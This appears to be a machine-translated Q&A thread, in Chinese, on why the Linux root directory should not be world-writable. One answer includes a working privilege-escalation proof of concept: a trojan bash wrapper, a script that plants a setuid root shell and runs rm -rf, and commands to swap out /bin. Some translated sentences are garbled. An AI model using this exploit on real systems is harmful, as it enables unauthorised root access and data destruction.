根 / 是否应该具有 777 权限?

K. *_*Eoe 3 permissions security directory

虽然大部分内容是755。

这是一个问题吗?

Ter*_*nce 12

有趣的是,/实际上允许777对其设置权限。该/文件夹不应具有777权限,因为这意味着任何登录系统的用户都可以在/根级别创建文件和文件夹。我已经在 VM 中对此进行了测试,您不能删除任何不是777没有的文件夹或文件sudoroot或者owner. 仍然遵循访问权限,例如尝试访问/root文件夹本身会拒绝您的权限。但是,话虽如此,您仍然可以移动/root文件夹以/root.old造成小破坏。

要解决此问题,您可以运行sudo chmod 755 /以将权限更改为应有的内容。您也可以运行sudo chown root:root /以确保它由 root 本身拥有。 不要使用 -R 运行任何这些命令,因为这会更改分区中的所有文件和文件夹以匹配权限和所有权。

希望这可以帮助!


D.W*_*.W. 8

不。/(根目录)拥有777权限是不安全的。这意味着rwxrwxrwx,即每个用户都具有对根目录的写权限。

有了这个权限,每个用户都可以创建新的子目录、删除现有的子目录和替换现有的子目录。例如,恶意用户可以删除/bin(通过将其重命名为/bin.old)并创建/bin他们拥有的新文件,其中包含恶意可执行文件。或者用户可以删除/etc(通过重命名它/etc.old),并创建一个新的/etc包含新的/etc/passwd/etc/shadow文件,让用户登录到系统上的每个帐户。


mur*_*uru 8

/ 不应该是世界可写的

/世界可写可能是一个问题。拥有对 的写权限/,任何用户都可以移动/重命名 中的任何文件或目录/。这意味着,任何用户都可以代替/etc/usr或任何其他目录的在/用自己选择的目录。

拒绝服务:微不足道

任何用户都可以通过重命名/etc/usr.

权限提升:稍微不那么琐碎

执行权限提升稍微困难一些。用户可以/bin用他们自己的副本替换,然后任何尝试使用cp甚至启动 shell 的进程都将立即受到他们的支配。用户所需要做的就是等待以 root 身份运行的进程使用 中的任何命令/bin,或者等待root 用户使用 login,然后他们就进入了。

例子

bash.c

#include<sys/types.h>
#include<unistd.h>

int main(int argc, char*argv[], char *env[])
{
    if (getuid() == 0) {
        system("/home/muru/foo");
    }
    execve("/bin/bash", argv, env); 
}
Run Code Online (Sandbox Code Playgroud)

foo

#!/bin/sh

mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
Run Code Online (Sandbox Code Playgroud)

进而:

$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
Run Code Online (Sandbox Code Playgroud)

下次 root 启动 shell 时,您会在您的主目录中获得一个 setuid 可执行文件,然后您可以随时轻松地使用它来获取 root 权限,而不会留下太多痕迹。